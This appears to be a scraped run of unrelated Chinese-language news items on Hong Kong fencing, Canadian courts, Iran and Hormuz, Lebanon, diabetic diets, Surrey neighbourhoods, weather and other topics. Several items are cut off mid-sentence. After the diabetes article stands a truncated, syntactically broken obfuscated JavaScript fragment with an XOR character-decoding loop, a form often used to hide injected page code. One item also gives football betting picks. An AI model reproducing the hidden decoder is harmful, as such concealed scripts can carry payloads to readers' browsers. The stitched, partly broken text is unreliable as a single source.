今年参加世青的“少年组”比赛，他赛前已表明非金不要，事实上在今仗从小组赛已表现身价，他以小组6战6胜，以总排名第一杀入正赛64强，并先后以大比数击败意大利、法国、土耳其、中国及日本剑手入决赛，对南韩的Choi Jian。 首节进攻后不慎跌倒台下 何承谦在决赛一开局已打出5:1的威势，随后将比分拉开至11:5，此时，“细孖”一次进攻后不慎失脚跌倒在台下，幸没大碍，并以12:9领先第一节，休息一分钟后，左拗的何承谦继续采主动进攻，最终以15:10摘下他个人首面“世少”金牌。 “大孖”32强止步 值得一提，何承谦的孖生哥哥何承沣亦有参加今次“世少”的比赛，可惜在32强以15:11不敌日本的Masashi Maeda。同样在32强止步还有许皓竣，他以5:15不敌最终亚军Choi Jian。   女佩杨书涵日前在少年组夺银。FIE图   港队在今届暂累积了2金1银，功臣包括男花林浩朗的“青年组”金牌及女佩杨书涵的“少年组”银牌；而港队在世界青少年剑击锦标赛的奖牌亦增至第12面。 林浩朗将于香港时间周一晚联同队友出战男花“青年组”团体赛，力争另一面奖牌。 记者：徐嘉华

【吉米言法】3月28日，J. Sarkonak 在《国家邮报》撰文评论指出，加拿大最高法院在审理魁省世俗主义法（Bill 21）时，可能正藉个案扩大对宪法的诠释，特别是重新界定“尽管条款”的适用范围。文章质疑此举有司法越权之嫌，削弱民选政府的决策权与民主正当性。 但笔者以为，司法上长期以来都有司法恭让立法的传统，况且九位大法官中有三个魁北克的保留席位，所以不需要杞人忧天。 《国家邮报》由 Postmedia 网络媒体集团拥有，而该公司目前的最大股东是美国对冲基金查特汉姆资产管理公司，持有过半数股份。简而言之，虽然《国家邮报》属于加拿大媒体体系，但其实际控制权主要掌握在美国投资机构手中。对于《国家邮报》此类试图带风向的文章，请读者自行斟酌。 能够上诉至最高法院的案件门槛极高，绝大多数申请早已被筛选淘汰，真正进入审理的案件本身就代表其复杂性与重大影响。 2018 年 10 月，加拿大最高法院（Supreme Court of Canada）首席大法官在第七届加拿大全国公益法律会议的主题演讲时曾遗憾地表示，如今在加拿大最高法院所接受到的上诉申请中，约三分之一来自于没有律师代表的自诉人(Self Represented Litigants)，而他们的申请没有一例通过， 全部阵亡。此后加拿大最高法院为自诉人准备了详细的“自诉人资源”（Resources for Self-Represented Litigants）。 接下去笔者就通过此文给公众作一个介绍。 根据加拿大最高法院“有关向加拿大最高法院寻求上诉许可的重要信息”， 加拿大最高法院有选择审理上诉案件的自由裁量权，所以公众并不会自动享有上诉案件被接受审理，“被聆讯”的权利。 加拿大最高法院的任务是处理“具有公共重要性，或性质或重要性确保法院需要作出裁决”的案件。 仅仅因为当事人觉得上诉法院的审理不公平是不够的，“加拿大最高法院必须确定法规条款的法律意义，其决定可能会对整个社会产生影响”。 上诉加拿大最高法院审理案件的第一步就是“向法院提交一份完整的书面上诉许可申请（Leave Application）”。 在上诉申请时，Leave不是动词，而是一个名词。它同 lief 同根，表示尊崇对方意愿、获得上一级的批准。 如果读到By...

伊朗伊斯兰革命卫队海军表示，正为建立“波斯湾新秩序”作准备，并警告霍尔木兹海峡“将永远不会恢复以往状态”。 革命卫队海军在社交平台发文称，正完成配合当局推动相关“新秩序”的行动部署，以回应美国总统特朗普威胁若伊朗不重开海峡将轰炸其发电设施的言论。 伊朗伊斯兰革命卫队海军表示，正为建立“波斯湾新秩序”作准备，并警告霍尔木兹海峡“将永远不会恢复以往状态”。路透社   伊朗伊斯兰革命卫队海军表示，正为建立“波斯湾新秩序”作准备，并警告霍尔木兹海峡“将永远不会恢复以往状态”。路透社   另一方面，伊朗伊斯兰议会当日审议多项关于霍尔木兹海峡治理的提案，从法律、环境、安全及经济等层面进行讨论，并参考全球其他重要水道的管理模式，研究对海峡行使管辖权的法律依据。会议一致同意成立专门委员会，推动制定综合性管理方案及法律保障文件，提交议会表决。 早前报道指出，议会国家安全委员会已通过相关管理方案，确立由伊朗武装部队负责管控，并明确禁止美国、以色列及对伊朗实施单边制裁国家的船只通过该海峡。方案亦涵盖航运安全、环境保护、财务安排、关税制度，以及在法律框架下与阿曼合作等内容。

【星岛综合报道】卑诗省一对夫妇声称邻居的树木对其构成安全隐患，损坏了他们的房屋，并造成持续的滋扰，影响日常生活，向民事审裁处提出4,500元赔偿请求，结果败诉。 根据卑诗民事审裁处(BC Civil Resolution Tribunal)周四发布的判决书内容，李氏夫妇(Jane及Wayne Lee，译音)要求审裁庭勒令邻居斯皮尔斯夫妇(Andrew及Catherine Speirs)赔偿和修葺大树。 斯皮尔斯夫妇在房屋园子种有六棵花旗松和一棵相思树，高度为16至25米。 李氏夫妇表示，他们已住了45年，房屋的露台在2005年进行了重建，但由于树木掉落的碎屑造成毁坏，他们需要再做重建工程。 判决书写道：“李家表示树枝伸到他们的物业范围的半空，松针、松果和树液掉落在他们的露台和屋顶上，导致露台和屋顶经常被杂物覆蓋，而且由于松针堆积，排水沟每周要清理三次。他们指有被积雪覆蓋的树枝掉落，要自费清理；而且不断掉落的碎片，令他们无法在露台上用餐，也不敢代朋友照顾宠物，因为担心牠会受伤。” 斯皮尔斯夫妇承认，一些杂物可能从树上掉落到邻居的露台和园子里，但他们也指出，邻居的家周围还有很多其他的大树，没有证据证明这些树木碎片主要来自斯皮尔斯的家园，也没有证据表明碎片的数量越来越多。 审裁官认为，李家未能证明这些树木构成安全隐患，并引述一份来自专业树艺师的报告指这些树木健康和结构稳固。 审裁官也不认为这些树木损坏了李家的物业，呈堂照片并未显示露台受到任何可见的损毁，例如撕裂、污渍或破烂。 此外，未有证据显示树木碎片的数量或情况“异常或过多”。 审裁官写道：“李家在2005年扩建了露台，使其距离其物业边界线仅余三米。扩大了的露台更靠近树木，自然会有更多碎屑坠落其上。现在没有证据显示随着树木的生长，情况有所恶化，也没有证据表明修葺会让情况有所改善。” 审裁官认为情况仅对李家构成“不便”，而非“不合理的干扰”。 由于李氏夫妇未能证明这些树木构成法例中的妨扰行为(nuisance)，因此驳回了这宗索偿诉讼。 图：pexels V20

祖云达斯 VS 热拿亚Now638台周二凌晨0:00直播推介：入球大细 大 & 波胆 3:1 祖云达斯现时争前四欧联席位的形势被动，今仗面对热拿亚的3分志在必得。斑马军团主场火力十足，近8次坐镇都灵狂入20球，入球有保证。阵中的葡萄牙翼锋法兰斯高干斯卡奥近期表现活跃，速度飞快，今季场均2.6次成功盘扭，其突破力将是撕破客队防线的关键。客队热拿亚换帅后，踢法变得悦目，入球和失球数字都偏多，故推介入球大细2.5球“大”，兼波胆3:1。 祖云达斯虽然近期整体战绩并不出色，近7场联赛仅2胜，但球队的主场攻击力依然非常可靠。最近8次主场攻入20球，平均每场入2.5球。单计近5场各赛仍入12球，场均仍有2.4球，反映球队的进攻一直保持高效。随着球队在欧联和意大利杯相继出局，现时更能更集中精力于联赛，季尾阶段，加上本身实力已在热拿亚之上，今仗赢波应无疑问。 祖云达斯的战术关键，将落在右翼锋法兰斯高干斯卡奥身上。这位23岁的葡萄牙国脚以惊人的速度和出色的盘扭技巧见称，今季意甲每90分钟能完成2.6次成功盘扭，成为耶迪斯之外另一重要突破点。干斯卡奥踢法直接且进攻欲望强烈，近4仗录得1入球和2次助攻，整季场均射门次数更高达3.1次。面对意甲中下游球队惯用的密集防守，干斯卡奥的个人突破能力显得尤其重要，将是撕开热拿亚防线的最强武器。 热拿亚有力破蛋 热拿亚自从名宿迪罗斯接手后，踢法变得相当积极，敢于与强队对攻。热拿亚预期入球排联赛第10位，比实际排名要高，证明球队能创造不少具威胁的攻门，有望凭反击取得入球，为祖云达斯带来一定麻烦。马高

以色列与黎巴嫩冲突持续，总统奥恩（Joseph Aoun）指，正已向以色列提出停火要求，但未获回应。总理萨拉姆（Nawaf Salam）称，对反复爆发的冲突感到极度疲惫。 防止黎巴嫩重演加沙情况 综合路透社及以色列时报，奥恩在复活节电视讲话中表示，为阻止以色列空袭及地面部队在南部推进，黎巴嫩正寻求与以色列展开谈判。他指出，以色列尚未回应黎方提出的停火要求，但强调停火是全面谈判的前提。 奥恩称，谈判是结束以色列针对真主党军事行动的唯一途径，否则黎巴嫩恐面临全面破坏。他表示：“以色列或许希望像在加沙一样在黎巴嫩南部行动，但我们的责任不是让它重演加沙的情况。谈判并不等于投降。加沙已被摧毁，超过7万人丧生，之后才开始谈判。我们别无选择，只能透过谈判阻止黎巴嫩的悲剧。” 黎巴嫩总统奥恩指，已向以色列提出停火要求，但未获回应。法新社   奥恩指，以色列尚未回应黎方提出的停火要求，但强调停火是全面谈判的前提。路透社   奥恩指，以色列尚未回应黎方提出的停火要求，但强调停火是全面谈判的前提。路透社     奥思称，不希望让黎巴嫩重演加沙的情况。路透社   他间接批评真主党加剧国内分裂，将国家拖入战争，指任何破坏社会稳定的行为“等同帮助以色列”。对于一名拒绝离境的伊朗被驱逐大使，奥恩表示对方已不具官方身份。 超过一百万人流离失所 黎巴嫩总理总萨拉姆表示，战事持续一个多月仍未见结束迹象，已造成超过一百万人流离失所，不少逃离以色列空袭的家庭坦言，对反复爆发的冲突感到极度疲惫。 萨拉姆称，战事已造成超过一百万人流离失所，不少逃离以色列空袭的家庭坦言，对反复爆发的冲突感到极度疲惫。路透社   随着以色列与真主党冲突进入第二个月，以方更表明计划在黎巴嫩南部设立“安全区”，并控制部分地区。萨拉姆指出，以色列的言论与军事行动显示其有意扩大对黎巴嫩领土的控制，甚至建立缓冲区，令局势进一步恶化。“黎巴嫩已成为一场无法预测结果与终结时间的战争受害者。” 他并向仍坚守南部家园的民众致意，强调政府会与他们同在。目前仍有数以万计居民未撤离，包括约9,000名居于边境地区的基督徒，表明即使战事升级仍选择留下。

想控制血糖，饮食就是最关键的一步。不少糖尿病人都怕吃到含糖调味料，但完全不落任何调味的食物，就更加“口淡淡”、丧失胃口。有医生盘点了9款糖尿病人都吃得的调味料，适当的调味可以提升食欲，糖尿病患者毋须饿住减糖，医生更点名2款的“控糖恩物”肉桂粉、芝麻，让进食无负担！ 9种糖尿病人可吃的调味料 家医科医生魏士航曾在YouTube频道分享，糖尿病患者最怕吃到含糖调味料，不过也有适合糖尿病人的调味选择，以下9种调味料包括黑椒粉、罗勒叶、肉桂粉、无糖花生酱、辣椒粉、蒜蓉、芝麻、番红花、七味粉都上榜，当中肉桂粉、芝麻更可降空腹血糖，均适合糖尿病人。 9种“控糖恩物”调味料： 1. 黑椒粉 黑椒粉含有胡椒碱，具有抗氧化特性，还能提升姜黄素、β-胡萝卜素等营养素吸收。 2. 罗勒叶 罗勒叶适合作为沙律、汤的调味料。 3. 肉桂粉 肉桂粉有助于血糖控制，能降低空腹血糖、胰岛素阻抗。 4. 无糖花生酱 无糖且成分单纯的花生酱，是优质油脂。 5. 辣椒粉 辣椒内的辣椒素可以促进新陈代谢与脂肪燃烧，特别是消除腹部脂肪方面。 6. 蒜蓉 大蒜具有抗氧化、抗发炎能力，对于血糖波动影响不大。 7. 芝麻 芝麻可以帮助降低空腹血糖和糖化血色素，有助第2型糖尿病患者的血糖管理。 8. 番红花 番红花具抗发炎特性，有助心血管健康。 9. 七味粉 七味粉通常由多种不含糖的香料组成，对糖尿病人来说也可食用。 茄酱、肉松等调味料会添加糖分 不过，魏士航亦在之前的影片提醒戒糖人士要留意部分调味料的“隐形陷阱”，事关有些调味料吃起来不甜，但会额外添加糖去平衡味道，例如： 金桔酱：为了平衡酸味，会添加糖分 番茄酱：为了平衡风味，会添加蔗糖 肉松：拌炒时会加入很多糖分 蔬菜罐头：会添加糖分调味 花生面筋：味道咸、但也有添加糖分 卤汁：加入大量糖分 肉桂粉、芝麻控血糖 不少研究表明肉桂可能有助改善血糖管理，2019年一项针对2型糖尿病和糖尿病前期患者的研究指，与安慰剂相比，肉桂可显著降低空腹血糖水平和胰岛素抗性；其他研究也发现，肉桂还可以降低糖化血红素 (HbA1c)，而糖化血红素是衡量长期血糖控制的指标。 芝麻的碳水化合物含量低，蛋白质和健康脂肪丰富，有助血糖控制；芝麻更含有松脂醇，可透过抑制消化酵素“麦芽糖酶”的作用，帮助调节血糖。但要留意，肉桂、芝麻可以适量食用，但不能取代药物、饮食和生活方式，去控制血糖水平。 如何判断患上糖尿病？留意8大初期征兆 根据香港医管局资料，本港约有70万名糖尿病患者，占总人口约1成，即每10名港人便有1名糖尿病患者，数目明显正急剧上升。发病率方面，年龄35岁以下人士当中有2%患上糖尿病。而年龄65岁以上的人士当中，更有超过20%患上糖尿病。 糖尿病患者血糖水平 根据世衞准则，如空腹血糖≥7mmol/L，或餐后两小时血糖>11.1 mmol/L的人士，即可判断为患上“糖尿病”。医管局指，糖尿病是一种代谢失调的慢性疾病。当胰脏分泌的胰岛素不足，或胰岛素不能发挥功能时，血糖便会不正常地升高，导致糖尿病。部分患者在患病初期可能会出现以下征状： 经常口渴 小便频密 感到饥饿 体重下降 容易疲倦 视力模糊 伤口不易愈合 皮肤痕痒，女性或会出现阴部发痒的情况 资料来源：家医科医生魏士航、healthline1、Healthline2、医管局 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var...

【社区消息】位于万锦市的多功能活动空间The AMP Space 早前举行开幕典礼, 万锦市议员刘肇麟 (Ritch Lau)、李思韵 (Isa Lee) 、列治文山议员廖立晖 (Castro Liu)及多位嘉宾出席支持,共同见证这个结合声音、身心连结与多功能活动空间理念的新场所正式启用。 The AMP Space 由创办人 Joyce Chan 创立,除了作为多用途活动空间外,同时推出品牌 The AMP Voice,希望透过声音与唱歌,让人重新连结自己的身体与内在感受。 创办人...

【星岛综合报道】人只会变老一次，但变老的时间可能持续很久——甚至超过你的健康状况、还有银行积蓄。多伦多星报记者Moira Welsh在她的新书《令人惊讶的年长女性：她们如何在长寿期创造乐趣、避开风险》中，揭示了年长女性所面临的艰难选择与乐趣，其中包括一些选择住在车上的年长女性。 有时候，住在车里是女性能够生存的唯一方式。 76岁的苏珊（Susan Patricia Staples）是“车居”的老手——这是一种没有固定住址，只能睡在车里、可能在沃尔玛停车场过夜的生活方式。 几年前，她因为贫困，有九个月就过著这种生活。而如今，住在车上仍是她能离开狭小公寓、拜访远方朋友、保持社交联系的唯一方法。 苏珊说，车居是一种务实的选择，适合无法负担住房费用的女性。 虽然加拿大的相关数据有限，但美国研究指出，车居生活在北美有一定的女性规模，她们会在网路社群中分享生活技巧，例如——携带马桶、利用帐篷连接车门、扩大空间等。她们的故事常与失业的经历，或是离开有毒的伴侣相关，而她们也常收到其他女性的支持讯息。 苏珊认为，车居生还要么是出于生存的必需，要么是一种自由的反叛行为。“我们这些年长的女性住车里，往往有两个原因：一是无法负担住房，二是无法负担生活。” 苏珊有着坚定的眼神，头发长而卷，带优雅的灰色，仿佛经过设计师打理，但她既没有资金，也并不在意这些。 2018年，她快70岁时，苏珊曾住在一辆Ford Focus的车里，将后座拆掉，一边是简易床铺，另一边摆满洗发水、肥皂、卫生纸、衣物和大塑胶水瓶。她解释说，这些水瓶是用来躲在公园的树后，用宽松的裙子清洗私处的。她告诉其他女性，只要保持仪容整洁，就不会有人知道。 这种生活当然不是她年轻时所想像的：那时，她的孩子还小，工作虽不高薪、却很有趣。她曾在渥太华的卡尔顿大学取得社工学位，并在教会开办课后辅导项目。她坦言，自己年轻时是嬉皮一族，但从未想过，会经历九个月的车居生活，而这经历最终让她感到自豪——家长们竟不知道她在停车场过夜。 如今，她有一辆旧式的厢型面包车。她负担不起机票，但很喜欢外出拜访朋友，她热爱朋友间进行深度讨论。如果长时间不能出门，她就会感到受困。 因此，虽然她在渥太华有一间政府补助公寓，但她选择车居，这让她可以逃离狭小的公寓，与人相处获得情感养分，但这不时也让她担忧。 她担忧，如果她住的公寓大楼对私人开发商来说已经老旧怎么办？如果她的身体跟不上她的思考怎么办？一旦身体开始衰退，她还能住在面包车里吗？她往后还能进行20小时的长途旅行吗？在静谧的时刻，她会思考，长寿究竟是不是一种恩赐。她主要是担心，一旦身体衰退，是否还能在车里生活、或是完成长途旅行。 苏珊目前尽量少去思考这些，而是在网路上与其他女性分享车居生存技巧：比如，在炎热的夏夜，如何用魔鬼毡网纱通风，这样既能让微风吹进来，又能防止蚊虫进入；麦当劳的洗手间提供清晨快速盥洗服务，洗完后保持清洁即可。睡床垫最好选择泡沫材质床垫，而不是记忆棉床垫，因为记忆棉床垫对温度很敏感，冬天睡起来像冰块一样硬。   过去在加拿大，车居生活引发的讨论并不多，而较为知名的其实是美国《游牧人生》（Nomadland）一书，描述2008年经济危机后的流浪工作者。 近几年，在加拿大的私密Facebook群组里，越来越多的年长女性开始询问车居生活细节。一个专注于北美汽车生活和露营的女性专属Facebook群组拥有12.2万名成员，尽管并非所有成员都以车辆为住所，但这显示，至少有许多人对这样的生活感到好奇。女性们主要交流的是哪里有安全的停车场，或是如何在零下低温中生存。 每个人都有自己的御寒妙招。苏珊把两个极地睡袋拉链连在一起，钻进去，然后用一条抓绒毯裹住头部，再把剩下的部分塞到肩膀上，最后塞进睡袋深处，以隔绝冷空气。 有人是为节省旅行费用，有人则是如苏珊一样，透过车居生活移动维持社交，还有人是因身体问题寻求建议。 苏珊注意到，加拿大女性选择车居的人口比例呈上升趋势。 根据数据，2024年，至少8万安省居民曾无家可归，到2035年时，数据可能翻倍，且不包含“隐性无家可归者”——即那些睡在朋友的沙发或车里的人。 虽然许多年长男性也面临低收入与高房价挑战，但女性尤其脆弱。加拿大不同性别拿到的退休金差距可以高达17%至26%，而少数族裔或成年移民女性的情况更为严重。她们的工作时间短或是薪资低，退休金的贡献少，退休收入也低，直接导致女性经济不稳定的情况严重。 苏珊说：“这是个巨大的社会问题。我有很多朋友，距离贫困没多远。我曾是单亲妈妈，花光所有钱养儿子，我们一度生活得很棒。可最后我没有积蓄。” 她提醒其他女性：在支付住房和食物之前，先确保拥有自己的车，“拥有车与否，决定你是否会无家可归。” （资料图：星报，CBC）T15

【星岛综合报道】对大多数人来说，回收是一件苦差事。但5岁的拉伊（Himmat Rai）却说这是他“最喜欢做的事”。 CBC 报道，为了庆祝他对回收的热情，拉伊和他的十几位同学于周六在当地的回收中心为他庆祝了5岁生日。 营运枫树岭回收中心的Ridge Meadows Recycling Society（RMRS）表示，这是该中心营运50多年来首次举办生日派对。 拉伊说：“我们去那里参观了夏季活动，然后他们说可以在那里庆祝生日。我当时就想在那里庆祝，因为我太喜欢回收了。” 拉伊（Himmat Rai）的父母说，他从18个月大起就对回收充满热情。拉伊母亲说，每周一，他都热切地盼望着回收车的到来，并向工作人员挥手致意。 “他们对拉伊的回收知识印象深刻，说：‘哦，你应该在这里过生日。’但当时他们只是开玩笑，没想到真的会成真。”她回忆起那次暑假参观时说道。 就连万圣节的时候，拉伊和父母都穿着回收标志的服饰。(上图) RMRS在声明中表示，拉伊的10几位同学和20多位成年人亲眼目睹了一辆翻斗卡车卸货，并组装成重达450公斤的纸包。拉伊也兴奋地对记者描述：“我们看到了所有电子产品被压碎的过程。他们压碎了微波炉、冰箱、烤箱和炉灶。” 回收中心的电子显示器整天都亮着“生日快乐”的字样，派对结束后，参加派对的人们享用了传统的披萨和蛋糕。 拉伊每周一都会等待回收卡车的到来。(上图) 他的父亲说，儿子从小就对回收很感兴趣——现在，他甚至不需要人指导就能知道不同的回收类别。他还会自己把回收物放到路边。 RMRS表示，这次生日派对凸显了社区参与在“培养减少浪费、回收和环境保护意识”方面的重要作用。 当被问及长大后想做什么时，拉伊毫不犹豫地回答：“回收员。” v01

【星岛综合报道】安省2026年5月天气预测正式公布，如果你期望迎接稳定的初夏天气，可能需要做好心理准备，天气不一定似预期。 安省南部今年3月底已出现剧烈的天气变化，短短几天内气温大幅波动。上周，安省一度出现体感接近零下十多度的寒冷天气，宛如冬季重临，但随后天气又迅速回暖，本周末气温更升至20°C。 同时，这段时间亦夹杂降雨、雷暴，这多变的天气看来仍会持续。 根据《老农年鉴》的长期预测，5月份，安省南部天气将呈现“混合型”，包括阳光、降雨及低于正常水平的气温会交替出现。 5月初（1日至9日）预计天气不太稳定，晴雨交替并体感偏凉；到了5月10日至16日，天气有望好转，阳光增加，气温明显回升。 不过，5月17日至25日（包括维多利亚日长周末）期间，气温可能再次转凉，并伴随零星降雨，或影响市民的户外活动安排。 至于5月最后一周（26日至31日），气温预计再度回升，但同时可能部分时段有雷暴。 整体而言，预测显示南安省5月平均气温约为11°C，较正常水平低约1°C。 降雨量方面，北部地区预计降雨量约90毫米，较正常水平约多30毫米，而安省南部降雨量则略低于平均水平约10毫米。   在进入5月前，值得留意的是，4月份安省的天气同样持续不稳。 预计本月初将温暖多雨，4月9日至15日则为晴雨交替并不时转冷；4月16日至25日，安省可能出现雨雪混合天气，其后转为晴朗、但气温仍偏低；月底则再有零星降雨。 4月平均气温预计约6°C，较正常水平低1°C，降雨量约75毫米，略高于平均。市民不宜过早收起冬装，预报有雨的时节，出门亦应带备雨具。 另一方面，也有天气预报网络指出，安省5月的天气走势仍存在不确定性。虽然有可能持续偏冷，但亦不排除天气突然转暖，令气温迅速进入类似初夏的水平。因此，五月份市民可能可以交替穿着厚外套及短袖衫裙。 (资料图)T15

【星岛综合报道】你有发觉住在南素里的人总喜欢说“我住南素里”吗？何以鲜少有住在北素里的人会刻意强调自己住在素里北边呢？ 《温哥华太阳报》报道，卡塔加尔(Rosalie Cataghal)是一位半退休的发型师，在南素里生活和工作。她说，选择定居于此是因为喜欢这个社区的中产阶级氛围。 她提到无家可归和犯罪问题——2007年发生在沃利社区(Walley)的“素里6人谋杀案”至今仍让她耿耿于怀——是她几乎从不去城市北部的原因。 作为大统华超市的忠实顾客，她从不去素里北部吉尔福德社区(Guildford)或市中心的门市，她宁愿开车去兰里。 她拥有这套房产超过20年，帮助3个成年子女支付首付，现在他们都住在附近。 26 岁的穆罕默德 (Latifah Mohamed) 一生都居住在素里北部的沃利社区，并在一家眼科诊所工作。她说她计划在那里抚养刚出生的女儿。 她对于其他人对素里北部的看法颇有微词。“人们几乎会因此瞧不起你，你会被贴上各种标签，比如犯罪率高，尤其是我上的那所高中——伊丽莎白女王中学 (Queen Elizabeth Secondary) 的名声最差。” 穆罕默德说，如果你问一个素里南部的人住在哪里，他们总是会说：“素里南部”。“他们永远不会说‘哦，我住在素里’，因为我觉得他们不想被贴上和素里其他地方一样的标签。如果你问我，我不会说‘我住在素里北部’，我会说‘我住在素里’”。 她说，自己努力向人们展示素里的另一面，因为素里变化很大、发展迅速。她并不认为危险，也不认为它应该背负不好的名声。 素里市面积约 316 平方公里、是温哥华都会区面积最大的城市，预计到 2050 年，人口将达到100万，超过温哥华，成为卑诗省人口最多的城市。 但在快速发展的同时，城市正努力寻找弥合南北差距、打造更具凝聚力的城市的方法。 南素里是该市最大的城镇中心，西临海洋、南接白石市和美国边境，东邻兰里镇，北至 48 大道。这里80%的居民拥有自己的住房，96%的居民选择开车出游而非搭乘大众运输工具。家庭平均收入约为132,400元。 素里东部和北部的其他地区则呈现不同的面貌。 最新的人口普查数据显示，东部的克洛弗代尔（Cloverdale）和菲沙河上游的弗雷泽高地（Fraser Heights）在收入水平和房主比例方面和南部地区有明显差距。克洛弗代尔拥有小镇的历史氛围，与素里其他地区气氛也非常不同。 北部市中心的居民中，55%是租屋者，51%是移民，32%是搭乘大众运输工具上班。家庭平均收入为77,200元。附近的吉尔福德区历来是低收入者和难民租屋最多的地区，而牛顿社区(Newton)已成为南亚裔加拿大人的文化中心。 城市规划者正努力开发素里市南北两区的城镇中心，使其对来自城市各个角落的居民更具吸引力。他们希望，扩建后的大众运输服务能让居民更方便地前往市内各个社区。 在最近发布的一段YouTube影片中，菲沙河谷的一位房地产经纪人罗吉(Amman Rawji)表示，素里市南北两区就像两个不同的星球。 “南素里更像白石市：房价高昂，沿海地区，居民以退休人士为主。北素里是一个年轻的、以公共交通为导向的、正在蓬勃发展的城市。” 他说，城市南北各有千秋。“北素里被视为一个充满发展和机会的地方，而南素里的购房者——他们不仅仅是买房居住，他们追求更安静的街道、更大的房子、靠近海边，以及优质的学校和公园，因为那里有很多家庭。” 罗吉是兰里居民，他说每个月都会去南素里几次，通常会避开城市的北部“北素里非常年轻，也很热闹，我感觉自己不太适应那里的生活。” 穆罕默德（Mohamed）喜欢公共交通便利的北素里，她觉得南素里公共交通很困难，所以她非常少去南素里。 霍格（Gordie Hogg）曾任白石市（White Rock）市长，也是该地区的省议员，他对这座城市南北两部分之间的差异有着长远的见解。 早年曾在沃利社区担任青少年缓刑监督官的霍格说，素里的犯罪问题可以追溯到几十年前，绝大多数罪犯都来自北部地区。 但他认为，南北两地区还有一个最大的区别是：为无家可归者提供的服务主要集中在北部，而南部则少得多。 但这并不代表南素里没有无家可归者。 当有人提议在152街靠近18大道的地方建造一个为无家可归者以及有精神健康和成瘾问题的人提供的住房项目时，遭到了附近居民的强烈反对。 霍格说：“反对这个计划的人很多，我认为这很有意思。大多数人对无家可归者在那里居住表示担忧，然而，当你穿过马路来到购物中心时，你会发现许多无家可归者住在停车场后方，在那里过夜。” 市政府原本支持这个项目，但最终却放弃了。 他认为，南素里有责任和义务支持居住在该区的人们，并为无家可归者以及面临困境和挑战的人们提供帮助。 “我们不想成为一个精英主义的社区，我们想成为一个积极参与、互相支持的社区。我认为这就是民主的一部分。”  素里现任市长洛克(Brenda Locke)住在吉尔福德。市议员们则分别住在不同社区，很多元化。 对市政府团队来说，如何连接素里市各个城镇中心一直是该市面临的一大挑战，毕竟“城市不该分裂”。 在素里市官方发布的《2050年社区规划》蓝图中，市内8个社区都将拥有一个城市中心或城镇中心，集中住房、服务设施、便利设施和公共设施，并且这些社区将“透过公共交通相互连接，并与周边地区连接起来”。 图：素里市府 & 网路 v01

美国总统特朗普于复活节周日透过社交媒体向伊朗施压，威胁若伊朗不重新开放霍尔木兹海峡，将于周二针对其发电厂和桥梁采取军事行动。其在社交媒体用上粗口言词，就被多方批评，形容“幼稚且令人尴尬”。 粗言秽语发文警告伊朗 路透社报道，特朗普在Truth Social发文写道：“周二将是伊朗的发电厂日与桥梁日，两者合而为一，将前所未有！”并在文中使用粗俗语言警告伊朗：“他X的把海峡开放，你们这些疯狂的混蛋（Open the FXXXin' Strait, you crazy bastards），否则你们将活在地狱里，看着吧”最后还附上“赞美真主”字句。特朗普接受《华尔街日报》访问时又指，“如果他们在周二晚上之前不采取行动，他们的发电厂将不复存在，桥梁也将不复存在。” 随后，特朗普补充了一个更精确的时限：“周二，美东时间晚间8点！”若对应德黑兰当地时间，即为周三凌晨3时30分。白宫并未对此作出回应。 特朗普在社交媒体帖文爆口“他X的把海峡开放”。   特朗普威胁若伊朗不重新开放霍尔木兹海峡，将于周二针对其发电厂和桥梁采取军事行动。路透社   特朗普粗口帖文即惹起多方不满。民主党参议院少数党领袖舒默（Chuck Schumer）在社交平台X上说：“美国，复活节快乐。当你们前往教堂与亲朋好友欢聚庆祝时，美国总统却在社交媒体上像个疯子一样胡言乱语。”“他威胁要犯下战争罪行，并疏远盟友。这就是他，但这并非我们。我们的国家值得更好的。” 弗吉尼亚州民主党参议员凯恩（Tim Kaine）亦批评特朗普的帖文内容，“这一切都令人尴尬且幼稚，这些人试图装出一副趾高气扬、强硬的样子，而我们在这场战争中看到的，却是本届政府缺乏计划，缺乏清晰的逻辑。” 特朗普先前在社交媒体称，被救出的第二名飞行员“重伤”，且是“备受尊敬的上校”。他在接受NBC《Meet the Press》采访前表示，“这次搜救堪称复活节奇蹟，过去从未在如此危险的敌方领土上成功过。” 他在接受Fox News采访时称，伊朗正在谈判，可能周一达成协议；若未达成，他将“夺取伊朗石油”。在接受ABC News采访时，特朗普表示战争应在数天而非数周内结束，但若未结束，“我们将炸毁整个国家”，几乎没有任何选项被排除。特朗普还宣布将于周一在白宫椭圆办公室与美军举行新闻发布会。